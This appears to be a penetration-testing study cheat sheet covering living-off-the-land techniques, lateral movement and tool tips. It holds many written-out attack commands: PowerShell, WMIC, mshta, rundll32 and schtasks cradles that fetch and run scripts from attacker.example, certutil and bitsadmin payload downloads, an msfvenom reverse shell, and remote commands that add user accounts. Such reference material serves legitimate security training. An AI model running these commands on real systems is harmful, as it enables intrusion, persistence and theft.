Remediation   : Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles.  Example command: REVOKE EXECUTE ON xp_dirtree to Public
Severity      : Medium
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : No
ExploitCmd    : Crack the password hash offline or relay it to another system.
Details       : The public principal has EXECUTE privileges on the xp_dirtree procedure in the master database.
Reference     : https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/
Author        : Scott Sutherland (@_nullbind), NetSPI 2016


48. AD Search (RSAT cmdlets example)

  • Use Case: Query AD users/groups/computers to support auth & lateral-movement attacks.

  • Input Example:

Get-ADUser -Filter * -Properties PasswordNeverExpires |
  Where-Object {$_.PasswordNeverExpires -eq $true} | 
  Select-Object Name, Enabled
  • Output Example:
Name             Enabled
----             -------
svc_build        True
legacy_admin     True

🧪 Quick “Flags & Tuning” Tips (Exam‑useful)

  • Hydra/Medusa: Add
    -t 4
    (threads) and adjust timeouts for reliability.
  • hashcat: Choose correct mode (e.g.,
    -m 1000
    NTLM,
    -m 1800
    sha512crypt). Use rules
    -r
    .
  • CME: Use
    --local-auth
    for local accounts;
    --sam
    /
    --lsa
    modules for dumping.
  • Impacket:
    getST.py
    ,
    ticketer.py
    ,
    wmiexec.py
    ,
    dcomexec.py
    are frequent wins.
  • ZAP/WFuzz/Gobuster: Respect rate limits; ignore lengths/hide headers with
    --hh
    /filters.
  • Prowler/ScoutSuite: Run with least privilege creds; export HTML/JSON for reporting.
  • Pacu: Snapshot IAM before changes; cleanup to avoid resource drift.
  • Kismet/WiFi-Pumpkin: Use proper adapters with monitor/injection support.
  • Use Metasploit modules aligned with scope—avoid DoS exploits.
  • sqlmap flags like --risk and --level control depth of testing.
  • Burp Suite Intruder useful for fuzzing parameters.

Other tools

1. WinPEAS

  • Use Case: Privilege escalation auditing scripts that enumerate misconfigurations, vulnerabilities, and exploitable paths on Windows systems. Git Repo

The browser does not support PDFs. Download the WinPEAS PDF.

2. LinPEAS / LinEnum

  • Use Case: Privilege escalation auditing scripts that enumerate misconfigurations, vulnerabilities, and exploitable paths on Linux systems. Git Repo

The browser does not support PDFs. Download the LinPEAS / LinEnum PDF.

3. tar and zip

Tar and Zip are primarily used for:

  • Bundling multiple files (e.g., exploits, scripts, binaries) into one archive for easy transfer.
  • Compressing payloads to reduce size for faster upload/download.
  • Evading detection by changing file signatures or using password-protected archives.
  • Exfiltration of data from compromised systems in a single compressed archive.

Tar

Strengths:


- Native to Unix/Linux systems.
- Preserves file permissions and directory structure (important for scripts and configs).
- Works well with gzip or bzip2 for compression (.tar.gz, .tar.bz2).
- Fast for large sets of files.

Weaknesses:


- No built-in encryption or password protection.
- Less common on Windows (requires extra tools).
- Larger archives compared to zip when not compressed.

  • Input Example:
# Create an archive:

tar -cvf tools.tar exploit.sh payload.exe

# Output - 'a' means 'added'
a exploit.sh
a payload.exe
# List the contents without extracting

tar -tf tools.tar
# Compress with gzip:

tar -czvf tools.tar.gz exploit.sh payload.exe
# Extract:

tar -xvf tools.tar.gz

# Output - 'x' means 'extracted'
x exploit.sh
x payload.exe

zip

Strengths:


- Cross-platform (Windows, Linux, macOS).
- Supports password protection (basic, not strong encryption).
- Commonly accepted by email and file transfer systems.
- Built-in on Windows (Compress-Archive in PowerShell).

Weaknesses:


- Password protection is weak (ZIP crypto can be cracked easily).
- Does not preserve Unix permissions by default.
- Slightly slower for very large archives compared to tar.

  • Input Example:
# Create a zip archive:

zip tools.zip exploit.sh payload.exe
# Password-protect:

zip -e tools.zip exploit.sh payload.exe
# Extract:

unzip tools.zip

✅ Offensive Security Use Cases

- Payload Delivery: Compress payloads before uploading to a target.
- Data Exfiltration: Bundle stolen files into a single archive for quick transfer.
- Evasion: Use archives to bypass simple file-type filters.
- Staging: Package multiple scripts and binaries for deployment on compromised hosts.

🔐 Pro Tip for PT0-003

- Tar is often used in Linux privilege escalation scenarios (e.g., GTFOBins).
- Zip archives with weak passwords can be cracked using tools like fcrackzip or John the Ripper.

4. LOLBins

LOLBAS | GTFOBins

PowerShell

  • Official use case: Task automation and configuration management framework for Windows (and now cross-platform via PowerShell Core).

  • LOLBin use case: In 2019, Red Canary published a threat detection report stating that PowerShell is the most used technique for malicious activities.

  • Input Example:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object System.Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"
PS> $username = 't1_leonard.summers';
PS> $password = 'EZpass4ever';
PS> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS> Enter-PSSession -Computername thmiis.za.tryhackme.com -Credential $credential
[thmiis.za.tryhackme.com]: PS C:\Users\t1_leonard.summers\Documents> whoami                                     
za\t1_leonard.summers                                                                                           
[thmiis.za.tryhackme.com]: PS C:\Users\t1_leonard.summers\Documents>

powershell — launches PowerShell.
-NoP (-NoProfile) — does not load the user’s profile scripts, reducing noise and speeding startup.
-NonI (-NonInteractive) — runs non‑interactively (no prompts).
-W Hidden (-WindowStyle Hidden) — starts with the console window hidden (less visible to the user).
-Exec Bypass — sets ExecutionPolicy to Bypass for this process only, allowing scripts to run regardless of the machine’s policy.
-Command " ... " — tells PowerShell to run the following command string.
IEX — alias for Invoke-Expression, which evaluates and executes the string you pass to it as code.
(New-Object System.Net.WebClient).DownloadString('http://attacker.example/payload.ps1') — uses .NET’s WebClient to download the contents of the remote file and return it as a string.
Putting it together: IEX(<downloaded string>) executes the downloaded script directly in memory (a “fileless” technique).


MSBuild

  • Official use case: Build .NET applications and libraries.

  • LOLBin use case: File Execution - Execute payloads hidden inside .NET project files. PowerlessShell

  • Input Example:

# Create a powershell payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1

# Convert with PowerlessShell to a payload compatible with the MSBuild tool
python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

# Build it with msbuild
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj

  • Output Example:

Microsoft (R) Build Engine version 4.8.3761.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 11/10/2025 3:42:47 PM.


Explorer

  • Official use case: File manager and system component for Windows.

  • LOLBin use case: File Execution - Execute other .exe files, a technique known as Indirect Command Execution.

  • Input Example:

explorer.exe /root,"C:\Windows\System32\calc.exe"
  • Output Example: Calculator on the destkop.

WMIC

  • Official use case: Windows Management Instrumentation (WMIC) is a Windows command-line utility that manages Windows components.

  • LOLBin use case: File Execution - Execute binaries for evading defensive measures.

  • Input Example:

wmic /node:TARGETHOST process call create "powershell -NoP -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
wmic /node:TARGETHOST process get name,commandline
wmic /node:TARGETHOST /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
wmic.exe process call create calc
  • Output Example:

Node - 10.10.74.154
ERROR:
Description = The RPC server is unavailable.


Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4008;
        ReturnValue = 0;
};


CertUtil

  • Official use case: Retrieve certificate information. Microsoft Documentation

  • LOLBin use case: File Operations - Transfer and encode files unrelated to certification services.

  • Input Example:

certutil -urlcache -split -f "http://attacker.example/payload.exe" C:\Users\Public\payload.exe
certutil -decode C:\Users\Public\encoded.b64 C:\Users\Public\decoded.exe
certutil -encode C:\Users\Public\decoded.exe C:\Users\Public\encoded.b64
  • Output Example:
Input Length = 52
Output Length = 38
CertUtil: -decode command completed successfully.

BITSAdmin

  • Official use case: Create, download or upload Background Intelligent Transfer Service (BITS) jobs and check their progress. Microsoft Documentation

  • LOLBin use case: File Operations - Download and execute a malicious payload in a compromised machine.

  • Input Example:

bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe
  • Output Example:
DISPLAY: '/Download' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: FOREGROUND FILES: 1 / 1 BYTES: 73802 / 73802 (100%)
Transfer complete.

FindStr

  • Official use case: Find text and string patterns in files. Microsoft Documentation

  • LOLBin use case: File Operations - Download remote files from SMB shared folders within the network.

  • Input Example:

findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe

MSHTA

  • Input Example:
mshta "http://attacker.example/payload.hta"
mshta "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('powershell -NoP -NonI -W Hidden -Command "Start-Process calc.exe"');close();"
mshta "C:\Users\Public\malicious.hta"

rundll32

  • Official use case: Rundll32 is a Microsoft built-in tool that loads and runs Dynamic Link Library DLL files within the operating system.

  • LOLBin use case: File Execution - Run arbitrary payloads and execute JavaScript and PowerShell scripts.

  • Input Example:

# Start a payload, no visible output
rundll32.exe C:\Winodws\Temp\payload.dll,Start
# Open a url hosted on the attacker machine, using the system's default protocol handler.
rundll32.exe url.dll,FileProtocolHandler "http://attacker.example/update.html"
# Run calculator using javascript
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
# Download a powershell script into memory
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
  • Output Example:
Calculator on the desktop.
Powershell command window flashes up and immediately closes once the script has been downloaded.

Regsvr32

  • Official use case: Regsvr32 is a Microsoft command-line tool to register and unregister Dynamic Link Libraries (DLLs) in the Windows Registry.

  • LOLBin use case: Bypassing Application Whitelisting - Execute arbitrary binaries and bypass the Windows Application Whitelisting.

  • Input Example:

regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll

/s: in silent mode (without showing messages)
/n: to not call the DLL register server
/i:: to use another server since we used /n
/u: to run with unregister method

  • Output Example: If live0fftheland.dll is a meterpreter payload, then you can catch the meterpreter shell from the attacker box.

Bash

  • Official use case: As part of WSL, bash.exe is a Microsoft tool for interacting with the Linux environment

  • LOLBin use case: Bypassing Application Whitelisting - Execute payloads and bypass the Windows application whitelisting since it is a Microsoft signed binary. This technique is known as Indirect Command execution.

  • Input Example:

bash.exe -c "path-to-payload"
  • Output Example: Requires the Linux subsystem enabled.

Scheduled tasks (schtasks / Task Scheduler)

  • Input Example:
schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell -NoP -NonI -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/ps1')\""
schtasks /Create /SC DAILY /TN "DailyJob" /TR "C:\Users\Public\encrypt.ps1" /ST 00:05
schtasks /Run /TN "WindowsUpdate"

5. pyinstaller

# Creates binary 'script.exe'
pyinstaller --onefile script.py  

244 INFO: PyInstaller: 6.16.0, contrib hooks: 2025.9
244 INFO: Python: 3.8.10
260 INFO: Platform: Linux-5.15.0-124-generic-x86_64-with-glibc2.29
260 INFO: Python environment: /usr
261 INFO: wrote /root/script.spec
[...]
8524 INFO: Build complete! The results are available in: /root/dist


6. ps2exe

# Convert PS1 to EXE (binary)
ps2exe .\script.ps1 .\script.exe

7. sc.exe

Ports:

  • 135/TCP, 49152-65535/TCP (DCE/RPC)
  • 445/TCP (RPC over SMB Named Pipes)
  • 139/TCP (RPC over SMB Named Pipes)

💡Required Group Memberships: Administrators

# Create a remote service
sc.exe \\thmiis.za.tryhackme.com create WEVAservice-0001 binPath= "%windir%\wevaservice.exe" start= auto

[SC] CreateService SUCCESS
# Start a remote service
sc.exe \\thmiis.za.tryhackme.com start WEVAservice-0001
SERVICE_NAME: WEVAservice-0001 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4976
        FLAGS              :


8. WinRM

Ports: 

  • 5985/TCP (WinRM HTTP) or
  • 5986/TCP (WinRM HTTPS))

💡Required Group Memberships: Remote Management Users

winrs.exe -u:t1_leonard.summers -p:EZpass4ever -r:10.200.48.201 ipconfig

Examples:                                                                                                       
winrs -r:https://myserver.com command                                                                           
winrs -r:myserver.com -usessl command                                                                           
winrs -r:myserver command                                                                                       
winrs -r:http://127.0.0.1 command                                                                               
winrs -r:http://169.51.2.101:80 -unencrypted command                                                            
winrs -r:https://[::FFFF:129.144.52.38] command                                                                 
winrs -r:http://[1080:0:0:0:8:800:200C:417A]:80 command                                                         
winrs -r:https://myserver.com -t:600 -u:administrator -p:$%fgh7 ipconfig                                        
winrs -r:myserver -env:PATH=^%PATH^%;c:\tools -env:TEMP=d:\temp config.cmd                                      
winrs -r:myserver netdom join myserver /domain:testdomain /userd:johns /passwordd:$%fgh789                      
winrs -r:myserver -ad -u:administrator -p:$%fgh7 dir \\anotherserver\share  


Winrs error:The WinRM client cannot process the request. Default authentication may be used with an IP address under the followi
ng conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use
 winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more informat
ion on how to set TrustedHosts run the following command: winrm help config.                                                    
za\tony.holland@THMJMP2 c:\tools>winrs.exe -u:t1_leonard.summers -p:EZpass4ever -r:thmiis.za.tryhackme.com ipconfig             

Windows IP Configuration

Ethernet adapter Ethernet 3:                                                                                                    

   Connection-specific DNS Suffix  . : eu-west-1.compute.internal                                                               
   IPv4 Address. . . . . . . . . . . : 10.200.48.201                                                                            
   Subnet Mask . . . . . . . . . . . : 255.255.255.0                                                                            
   Default Gateway . . . . . . . . . : 10.200.48.1


8. WMI

Ports:

  • 135/TCP, 49152-65535/TCP (DCERPC)
  • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

💡Required Group Memberships: Administrators

# First create a credential

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

# We then proceed to establish a WMI session using either of the following protocols:
# DCOM: RPC over IP will be used for connecting to WMI. This protocol uses port 135/TCP and ports 49152-65535/TCP, just as explained when using sc.exe.
# Wsman: WinRM will be used for connecting to WMI. This protocol uses ports 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS).

# Create a DCOM session

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

# Spawn a process remotely

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = $Command
}

ProcessId ReturnValue PSComputerName                                            
--------- ----------- --------------                                            
     2808           0 thmiis.za.tryhackme.com 
# Create a service remotely

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
  Name = "THMService2";
  DisplayName = "THMService2";
  PathName = "net user munra2 Pass123 /add"; # Your payload
  ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
  StartMode = "Manual"
}

ReturnValue PSComputerName                                                                                                      
----------- --------------                                                                                                      
         23 thmiis.za.tryhackme.com      

# Get a handle on the service and start it

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

ReturnValue PSComputerName                                                                                                      
----------- --------------                                                                                                      
          0 thmiis.za.tryhackme.com 

# Create and execute a scheduled task remotely

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"

TaskPath                                       TaskName                          State      PSComputerName                      
--------                                       --------                          -----      --------------                      
\                                              THMtask2                          Ready      thmiis.za.tryhackme.com        

Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

# Delete the scheduled task

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
# Install and MSI package

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

ReturnValue PSComputerName                                                      
----------- --------------                                                      
       1603 thmiis.za.tryhackme.com  

Images

Img1. Gophish

![Campaign Results](/pentest-tools/assets/images/Gophish campaign results.jpg) ![Campaign Results - Details](/pentest-tools/assets/images/Gophish campaign results_details.jpg)

Img2. DNSdumpster

System Location and A records MX and TXT records Map

Img3. Shodan

Vulnerable Apache

Img4. Spiderfoot

Scan Options Scan Summary Scan Browse Scan Detail

Img5. Censys

Scan Summary Report Collections

Img6. InSSIDer

Network View Network Details Network Graph Network Channels Security Icons

Img7. Kismet

Kismet UI Kismet SSID Info Kismet Lock to AP channel Kismet Device Viewl Kismet Device Info 1 Kismet Device Info 2 Kismet DeAuth Alert